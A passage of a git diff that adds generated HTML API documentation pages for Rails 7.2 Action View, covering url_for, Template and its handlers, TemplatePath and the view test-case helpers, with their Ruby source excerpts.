    :user - Inline HTTP authentication (only plucked out if :password is also present).

    +
  • +

    :password - Inline HTTP authentication (only plucked out if :user is also present).

    +
+ +

Relying on named routes

+ +

Passing a record (like an Active Record) instead of a hash as the options parameter will trigger the named route for that record. The lookup will happen on the name of the class. So passing a Workshop object will attempt to use the workshop_path route. If you have a nested route, such as admin_workshop_path you’ll have to call that explicitly (it’s impossible for url_for to guess that route).

+ +

Implicit Controller Namespacing

+ +

Controllers passed in using the :controller option will retain their namespace unless it is an absolute one.

+ +

Examples

+ +
<%= url_for(action: 'index') %>
+# => /blogs/
+
+<%= url_for(action: 'find', controller: 'books') %>
+# => /books/find
+
+<%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
+# => https://www.example.com/members/login/
+
+<%= url_for(action: 'play', anchor: 'player') %>
+# => /messages/play/#player
+
+<%= url_for(action: 'jump', anchor: 'tax&ship') %>
+# => /testing/jump/#tax&ship
+
+<%= url_for(Workshop) %>
+# => /workshops
+
+<%= url_for(Workshop.new) %>
+# relies on Workshop answering a persisted? call (and in this case returning false)
+# => /workshops
+
+<%= url_for(@workshop) %>
+# calls @workshop.to_param which by default returns the id
+# => /workshops/5
+
+# to_param can be re-defined in a model to provide different URL names:
+# => /workshops/1-workshop-name
+
+<%= url_for("http://www.example.com") %>
+# => http://www.example.com
+
+<%= url_for(:back) %>
+# if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+# => http://www.example.com
+
+<%= url_for(:back) %>
+# if request.env["HTTP_REFERER"] is not set or is blank
+# => javascript:history.back()
+
+<%= url_for(action: 'index', controller: 'users') %>
+# Assuming an "admin" namespace
+# => /admin/users
+
+<%= url_for(action: 'index', controller: '/users') %>
+# Specify absolute path with beginning slash
+# => /users
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/routing_url_for.rb, line 82
+    def url_for(options = nil)
+      case options
+      when String
+        options
+      when nil
+        super(only_path: _generate_paths_by_default)
+      when Hash
+        options = options.symbolize_keys
+        ensure_only_path_option(options)
+
+        super(options)
+      when ActionController::Parameters
+        ensure_only_path_option(options)
+
+        super(options)
+      when :back
+        _back_url
+      when Array
+        components = options.dup
+        options = components.extract_options!
+        ensure_only_path_option(options)
+
+        if options[:only_path]
+          polymorphic_path(components, options)
+        else
+          polymorphic_url(components, options)
+        end
+      else
+        method = _generate_paths_by_default ? :path : :url
+        builder = ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.public_send(method)
+
+        case options
+        when Symbol
+          builder.handle_string_call(self, options)
+        when Class
+          builder.handle_class_call(self, options)
+        else
+          builder.handle_model_call(self, options)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template.html b/src/7.2/classes/ActionView/Template.html new file mode 100644 index 0000000000..d21195c63e --- /dev/null +++ b/src/7.2/classes/ActionView/Template.html @@ -0,0 +1,971 @@ +--- +title: ActionView::Template +layout: default +--- +
+ +
+
+ +
+ +

Action View Template

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
NONE=Object.new
STRICT_LOCALS_REGEX=/\#\s+locals:\s+\((.*)\)/
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + format
+ [RW] + frozen_string_literal
+ [R] + handler
+ [R] + identifier
+ [R] + variable
+ [R] + variant
+ [R] + virtual_path
+ + + + +

Class Public methods

+ +
+

+ + mime_types_implementation=(implementation) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 185
+      def mime_types_implementation=(implementation)
+        # This method isn't thread-safe, but it's not supposed
+        # to be called after initialization
+        if self::Types != implementation
+          remove_const(:Types)
+          const_set(:Types, implementation)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(source, identifier, handler, locals:, format: nil, variant: nil, virtual_path: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 200
+    def initialize(source, identifier, handler, locals:, format: nil, variant: nil, virtual_path: nil)
+      @source            = source.dup
+      @identifier        = identifier
+      @handler           = handler
+      @compiled          = false
+      @locals            = locals
+      @virtual_path      = virtual_path
+
+      @variable = if @virtual_path
+        base = @virtual_path.end_with?("/") ? "" : ::File.basename(@virtual_path)
+        base =~ /\A_?(.*?)(?:\.\w+)*\z/
+        $1.to_sym
+      end
+
+      @format            = format
+      @variant           = variant
+      @compile_mutex     = Mutex.new
+      @strict_locals     = NONE
+      @strict_local_keys = nil
+      @type              = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + encode!() + +

+ + +
+

This method is responsible for properly setting the encoding of the source. Until this point, we assume that the source is BINARY data. If no additional information is supplied, we assume the encoding is the same as Encoding.default_external.

+ +

The user can also specify the encoding via a comment on the first line of the template (# encoding: NAME-OF-ENCODING). This will work with any template engine, as we process out the encoding comment before passing the source on to the template engine, leaving a blank line in its stead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 322
+    def encode!
+      source = self.source
+
+      return source unless source.encoding == Encoding::BINARY
+
+      # Look for # encoding: *. If we find one, we'll encode the
+      # String in that encoding, otherwise, we'll use the
+      # default external encoding.
+      if source.sub!(LEADING_ENCODING_REGEXP, "")
+        encoding = magic_encoding = $1
+      else
+        encoding = Encoding.default_external
+      end
+
+      # Tag the source with the default external encoding
+      # or the encoding specified in the file
+      source.force_encoding(encoding)
+
+      # If the user didn't specify an encoding, and the handler
+      # handles encodings, we simply pass the String as is to
+      # the handler (with the default_external tag)
+      if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
+        source
+      # Otherwise, if the String is valid in the encoding,
+      # encode immediately to default_internal. This means
+      # that if a handler doesn't handle encodings, it will
+      # always get Strings in the default_internal
+      elsif source.valid_encoding?
+        source.encode!
+      # Otherwise, since the String is invalid in the encoding
+      # specified, raise an exception
+      else
+        raise WrongEncodingError.new(source, encoding)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 301
+    def inspect
+      "#<#{self.class.name} #{short_identifier} locals=#{locals.inspect}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + local_assigns + +

+ + +
+

Returns a hash with the defined local variables.

+ +

Given this sub template rendering:

+ +
<%= render "application/header", { headline: "Welcome", person: person } %>
+
+ +

You can use local_assigns in the sub templates to access the local variables:

+ +
local_assigns[:headline] # => "Welcome"
+
+ +

Each key in local_assigns is available as a partial-local variable:

+ +
local_assigns[:headline] # => "Welcome"
+headline                 # => "Welcome"
+
+ +

Since local_assigns is a Hash, it’s compatible with Ruby 3.1’s pattern matching assignment operator:

+ +
local_assigns => { headline:, **options }
+headline                 # => "Welcome"
+options                  # => {}
+
+ +

Pattern matching assignment also supports variable renaming:

+ +
local_assigns => { headline: title }
+title                    # => "Welcome"
+
+ +

If a template refers to a variable that isn’t passed into the view as part of the locals: { ... } Hash, the template will raise an ActionView::Template::Error:

+ +
<%# => raises ActionView::Template::Error %>
+<% alerts.each do |alert| %>
+  <p><%= alert %></p>
+<% end %>
+
+ +

Since local_assigns returns a Hash instance, you can conditionally read a variable, then fall back to a default value when the key isn’t part of the locals: { ... } options:

+ +
<% local_assigns.fetch(:alerts, []).each do |alert| %>
+  <p><%= alert %></p>
+<% end %>
+
+ +

Combining Ruby 3.1’s pattern matching assignment with calls to +Hash#with_defaults+ enables compact partial-local variable assignments:

+ +
<% local_assigns.with_defaults(alerts: []) => { headline:, alerts: } %>
+
+<h1><%= headline %></h1>
+
+<% alerts.each do |alert| %>
+  <p><%= alert %></p>
+<% end %>
+
+ +

By default, templates will accept any locals as keyword arguments and make them available to local_assigns. To restrict what local_assigns a template will accept, add a locals: magic comment:

+ +
<%# locals: (headline:, alerts: []) %>
+
+<h1><%= headline %></h1>
+
+<% alerts.each do |alert| %>
+  <p><%= alert %></p>
+<% end %>
+
+ +

Read more about strict locals in Action View Overview in the guides.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 166
+    eager_autoload do
+      autoload :Error
+      autoload :RawFile
+      autoload :Renderable
+      autoload :Handlers
+      autoload :HTML
+      autoload :Inline
+      autoload :Types
+      autoload :Sources
+      autoload :Text
+      autoload :Types
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + locals() + +

+ + +
+

The locals this template has been or will be compiled for, or nil if this is a strict locals template.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 224
+    def locals
+      if strict_locals?
+        nil
+      else
+        @locals
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render(view, locals, buffer = nil, implicit_locals: [], add_to_stack: true, &block) + +

+ + +
+

Render a template. If the template was not compiled yet, it is done exactly before rendering.

+ +

This method is instrumented as β€œ!render_template.action_view”. Notice that we use a bang in this instrumentation because you don’t want to consume this in production. This is only slow if it’s being listened to.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 272
+    def render(view, locals, buffer = nil, implicit_locals: [], add_to_stack: true, &block)
+      instrument_render_template do
+        compile!(view)
+
+        if strict_locals? && @strict_local_keys && !implicit_locals.empty?
+          locals_to_ignore = implicit_locals - @strict_local_keys
+          locals.except!(*locals_to_ignore)
+        end
+
+        if buffer
+          view._run(method_name, self, locals, buffer, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)
+          nil
+        else
+          result = view._run(method_name, self, locals, OutputBuffer.new, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)
+          result.is_a?(OutputBuffer) ? result.to_s : result
+        end
+      end
+    rescue => e
+      handle_render_error(view, e)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + short_identifier() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 297
+    def short_identifier
+      @short_identifier ||= defined?(Rails.root) ? identifier.delete_prefix("#{Rails.root}/") : identifier
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + source() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 305
+    def source
+      @source.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_locals!() + +

+ + +
+

This method is responsible for marking a template as having strict locals which means the template can only accept the locals defined in a magic comment. For example, if your template acceps the locals title and comment_count, add the following to your template file:

+ +
<%# locals: (title: "Default title", comment_count: 0) %>
+
+ +

Strict locals are useful for validating template arguments and for specifying defaults.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 367
+    def strict_locals!
+      if @strict_locals == NONE
+        self.source.sub!(STRICT_LOCALS_REGEX, "")
+        @strict_locals = $1
+
+        return if @strict_locals.nil? # Magic comment not found
+
+        @strict_locals = "**nil" if @strict_locals.blank?
+      end
+
+      @strict_locals
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_locals?() + +

+ + +
+

Returns whether a template is using strict locals.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 381
+    def strict_locals?
+      strict_locals!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_streaming?() + +

+ + +
+

Returns whether the underlying handler supports streaming. If so, a streaming buffer may be passed when it starts rendering.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 262
+    def supports_streaming?
+      handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + translate_location(backtrace_location, spot) + +

+ + +
+

Translate an error location returned by ErrorHighlight to the correct source location inside the template.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 252
+    def translate_location(backtrace_location, spot)
+      if handler.respond_to?(:translate_location)
+        handler.translate_location(spot, backtrace_location, encode!) || spot
+      else
+        spot
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 293
+    def type
+      @type ||= Types[format]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + instrument(action, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template.rb, line 579
+      def instrument(action, &block) # :doc:
+        ActiveSupport::Notifications.instrument("#{action}.action_view", instrument_payload, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Handlers.html b/src/7.2/classes/ActionView/Template/Handlers.html new file mode 100644 index 0000000000..c2f2050d39 --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Handlers.html @@ -0,0 +1,85 @@ +--- +title: ActionView::Template::Handlers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Handlers/Builder.html b/src/7.2/classes/ActionView/Template/Handlers/Builder.html new file mode 100644 index 0000000000..e65b4229a5 --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Handlers/Builder.html @@ -0,0 +1,156 @@ +--- +title: ActionView::Template::Handlers::Builder +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + call(template, source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/builder.rb, line 8
+      def call(template, source)
+        require_engine
+        # the double assignment is to silence "assigned but unused variable" warnings
+        "xml = xml = ::Builder::XmlMarkup.new(indent: 2, target: output_buffer.raw);" \
+          "#{source};" \
+          "output_buffer.to_s"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + require_engine() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/builder.rb, line 17
+        def require_engine # :doc:
+          @required ||= begin
+            require "builder"
+            true
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Handlers/ERB.html b/src/7.2/classes/ActionView/Template/Handlers/ERB.html new file mode 100644 index 0000000000..8da780afb1 --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Handlers/ERB.html @@ -0,0 +1,322 @@ +--- +title: ActionView::Template::Handlers::ERB +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ENCODING_TAG=Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
+ + + + + + +

Class Public methods

+ +
+

+ + call(template, source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/erb.rb, line 29
+        def self.call(template, source)
+          new.call(template, source)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(template, source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/erb.rb, line 61
+        def call(template, source)
+          # First, convert to BINARY, so in case the encoding is
+          # wrong, we can still find an encoding tag
+          # (<%# encoding %>) inside the String using a regular
+          # expression
+          template_source = source.b
+
+          erb = template_source.gsub(ENCODING_TAG, "")
+          encoding = $2
+
+          erb.force_encoding valid_encoding(source.dup, encoding)
+
+          # Always make sure we return a String in the default_internal
+          erb.encode!
+
+          # Strip trailing newlines from the template if enabled
+          erb.chomp! if strip_trailing_newlines
+
+          options = {
+            escape: (self.class.escape_ignore_list.include? template.type),
+            trim: (self.class.erb_trim_mode == "-")
+          }
+
+          if ActionView::Base.annotate_rendered_view_with_filenames && template.format == :html
+            options[:preamble] = "@output_buffer.safe_append='<!-- BEGIN #{template.short_identifier} -->';"
+            options[:postamble] = "@output_buffer.safe_append='<!-- END #{template.short_identifier} -->';@output_buffer"
+          end
+
+          self.class.erb_implementation.new(erb, options).src
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + handles_encoding?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/erb.rb, line 37
+        def handles_encoding?
+          true
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_streaming?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/erb.rb, line 33
+        def supports_streaming?
+          true
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + translate_location(spot, backtrace_location, source) + +

+ + +
+

Translate an error location returned by ErrorHighlight to the correct source location inside the template.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/erb.rb, line 43
+        def translate_location(spot, backtrace_location, source)
+          # Tokenize the source line
+          tokens = ::ERB::Util.tokenize(source.lines[backtrace_location.lineno - 1])
+          new_first_column = find_offset(spot[:snippet], tokens, spot[:first_column])
+          lineno_delta = spot[:first_lineno] - backtrace_location.lineno
+          spot[:first_lineno] -= lineno_delta
+          spot[:last_lineno] -= lineno_delta
+
+          column_delta = spot[:first_column] - new_first_column
+          spot[:first_column] -= column_delta
+          spot[:last_column] -= column_delta
+          spot[:script_lines] = source.lines
+
+          spot
+        rescue NotImplementedError, LocationParsingError
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Handlers/Html.html b/src/7.2/classes/ActionView/Template/Handlers/Html.html new file mode 100644 index 0000000000..de0a3ab11b --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Handlers/Html.html @@ -0,0 +1,107 @@ +--- +title: ActionView::Template::Handlers::Html +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + call(template, source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/html.rb, line 6
+      def call(template, source)
+        "ActionView::OutputBuffer.new #{super}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Handlers/Raw.html b/src/7.2/classes/ActionView/Template/Handlers/Raw.html new file mode 100644 index 0000000000..1f6bfa30eb --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Handlers/Raw.html @@ -0,0 +1,107 @@ +--- +title: ActionView::Template::Handlers::Raw +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + call(template, source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/handlers/raw.rb, line 6
+      def call(template, source)
+        "#{source.inspect}.html_safe;"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Sources.html b/src/7.2/classes/ActionView/Template/Sources.html new file mode 100644 index 0000000000..904b51d253 --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Sources.html @@ -0,0 +1,69 @@ +--- +title: ActionView::Template::Sources +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Template/Sources/File.html b/src/7.2/classes/ActionView/Template/Sources/File.html new file mode 100644 index 0000000000..c8b7312280 --- /dev/null +++ b/src/7.2/classes/ActionView/Template/Sources/File.html @@ -0,0 +1,149 @@ +--- +title: ActionView::Template::Sources::File +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/sources/file.rb, line 7
+        def initialize(filename)
+          @filename = filename
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/sources/file.rb, line 11
+        def to_s
+          ::File.binread @filename
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TemplateDetails.html b/src/7.2/classes/ActionView/TemplateDetails.html new file mode 100644 index 0000000000..8060ec9f1d --- /dev/null +++ b/src/7.2/classes/ActionView/TemplateDetails.html @@ -0,0 +1,73 @@ +--- +title: ActionView::TemplateDetails +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TemplateDetails/Requested.html b/src/7.2/classes/ActionView/TemplateDetails/Requested.html new file mode 100644 index 0000000000..2c7393b1b7 --- /dev/null +++ b/src/7.2/classes/ActionView/TemplateDetails/Requested.html @@ -0,0 +1,202 @@ +--- +title: ActionView::TemplateDetails::Requested +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + +

Constants

+ + + + + + + + + +
ANY_HASH=Hash.new(1).merge(nil => 0).freeze
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + formats
+ [R] + formats_idx
+ [R] + handlers
+ [R] + handlers_idx
+ [R] + locale
+ [R] + locale_idx
+ [R] + variants
+ [R] + variants_idx
+ + + + +

Class Public methods

+ +
+

+ + new(locale:, handlers:, formats:, variants:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template_details.rb, line 11
+      def initialize(locale:, handlers:, formats:, variants:)
+        @locale = locale
+        @handlers = handlers
+        @formats = formats
+        @variants = variants
+
+        @locale_idx   = build_idx_hash(locale)
+        @handlers_idx = build_idx_hash(handlers)
+        @formats_idx  = build_idx_hash(formats)
+        if variants == :any
+          @variants_idx = ANY_HASH
+        else
+          @variants_idx = build_idx_hash(variants)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TemplatePath.html b/src/7.2/classes/ActionView/TemplatePath.html new file mode 100644 index 0000000000..090524dba5 --- /dev/null +++ b/src/7.2/classes/ActionView/TemplatePath.html @@ -0,0 +1,323 @@ +--- +title: ActionView::TemplatePath +layout: default +--- +
+ +
+
+ +
+ +

Action View TemplatePath

+ +

Represents a template path within ActionView’s lookup and rendering system, like β€œusers/show”

+ +

TemplatePath makes it convenient to convert between separate name, prefix, partial arguments and the virtual path.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + name
+ [R] + partial
+ [R] + partial?
+ [R] + prefix
+ [R] + to_s
+ [R] + to_str
+ [R] + virtual
+ [R] + virtual_path
+ + + + +

Class Public methods

+ +
+

+ + build(name, prefix, partial) + +

+ + +
+

Convert name, prefix, and partial into a TemplatePath

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template_path.rb, line 43
+    def self.build(name, prefix, partial)
+      new name, prefix, partial, virtual(name, prefix, partial)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(name, prefix, partial, virtual) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template_path.rb, line 47
+    def initialize(name, prefix, partial, virtual)
+      @name    = name
+      @prefix  = prefix
+      @partial = partial
+      @virtual = virtual
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse(virtual) + +

+ + +
+

Build a TemplatePath form a virtual path

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template_path.rb, line 28
+    def self.parse(virtual)
+      if nameidx = virtual.rindex("/")
+        prefix = virtual[0, nameidx]
+        name = virtual.from(nameidx + 1)
+        prefix = prefix[1..] if prefix.start_with?("/")
+      else
+        prefix = ""
+        name = virtual
+      end
+      partial = name.start_with?("_")
+      name = name[1..] if partial
+      new name, prefix, partial, virtual
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + virtual(name, prefix, partial) + +

+ + +
+

Convert name, prefix, and partial into a virtual path string

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template_path.rb, line 17
+    def self.virtual(name, prefix, partial)
+      if prefix.empty?
+        "#{partial ? "_" : ""}#{name}"
+      elsif partial
+        "#{prefix}/_#{name}"
+      else
+        "#{prefix}/#{name}"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TestCase.html b/src/7.2/classes/ActionView/TestCase.html new file mode 100644 index 0000000000..2d3ccb0dcc --- /dev/null +++ b/src/7.2/classes/ActionView/TestCase.html @@ -0,0 +1,102 @@ +--- +title: ActionView::TestCase +layout: default +--- +
+ +
+
+ +
+ +

Action View Test Case

+ +

Read more about ActionView::TestCase in Testing Rails Applications in the guides.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/TestCase/Behavior.html b/src/7.2/classes/ActionView/TestCase/Behavior.html new file mode 100644 index 0000000000..d4c8036d10 --- /dev/null +++ b/src/7.2/classes/ActionView/TestCase/Behavior.html @@ -0,0 +1,564 @@ +--- +title: ActionView::TestCase::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
INTERNAL_IVARS=[ +:@NAME, +:@failures, +:@assertions, +:@__io__, +:@_assertion_wrapped, +:@_assertions, +:@_result, +:@_routes, +:@controller, +:@_controller, +:@_request, +:@_config, +:@_default_form_builder, +:@_layouts, +:@_files, +:@_rendered_views, +:@method_name, +:@output_buffer, +:@_partials, +:@passed, +:@rendered, +:@request, +:@routes, +:@tagged_logger, +:@_templates, +:@options, +:@test_passed, +:@view, +:@view_context_class, +:@view_flow, +:@_subscribers, +:@html_document, +]
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + controller
+ [RW] + output_buffer
+ [RW] + rendered
+ [RW] + request
+ + + + + +

Instance Public methods

+ +
+

+ + _routes() + +

+ + +
+

:method: rendered

+ +

Returns the content rendered by the last render call.

+ +

The returned object behaves like a string but also exposes a number of methods that allows you to parse the content string in formats registered using .register_parser.

+ +

By default includes the following parsers:

+ +

.html

+ +

Parse the rendered content String into HTML. By default, this means a Nokogiri::XML::Node.

+ +
test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered.html.at("main h1") => { content: "Hello, world" } }
+end
+
+ +

To parse the rendered content into a Capybara::Simple::Node, re-register an :html parser with a call to Capybara.string:

+ +
register_parser :html, -> rendered { Capybara.string(rendered) }
+
+test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: article
+
+  rendered.html.assert_css "h1", text: "Hello, world"
+end
+
+ +

.json

+ +

Parse the rendered content String into JSON. By default, this means a ActiveSupport::HashWithIndifferentAccess.

+ +
test "renders JSON" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :json, partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered.json => { title: "Hello, world" } }
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 297
+      def _routes
+        @controller._routes if @controller.respond_to?(:_routes)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _test_case() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 214
+          def _test_case
+            controller._test_case
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + config() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 232
+      def config
+        @controller.config if @controller.respond_to?(:config)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protect_against_forgery?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 210
+          def protect_against_forgery?
+            false
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render(options = {}, local_assigns = {}, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/test_case.rb, line 236
